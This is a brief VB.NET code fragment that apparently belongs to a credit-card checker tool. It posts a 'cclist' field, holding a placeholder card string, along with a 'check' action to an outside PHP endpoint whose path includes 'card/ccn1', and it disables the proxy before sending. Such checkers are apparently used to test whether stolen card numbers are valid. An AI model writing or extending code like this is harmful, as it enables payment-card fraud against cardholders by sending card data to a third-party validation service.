Dim WB As New WebClient
                    WB.Encoding = Encoding.UTF8
                    WB.Proxy = Nothing
                    Dim PT As New NameValueCollection
                    PT.Add("ajax", "1")
                    PT.Add("do", "check")
                    PT.Add("cclist", WebUtility.UrlEncode("Credit card"))
                    Dim Result As String = WebUtility.UrlDecode(Encoding.UTF8.GetString(WB.UploadValues("http://eldersc0de.com/card/ccn1/alien07.php", PT)))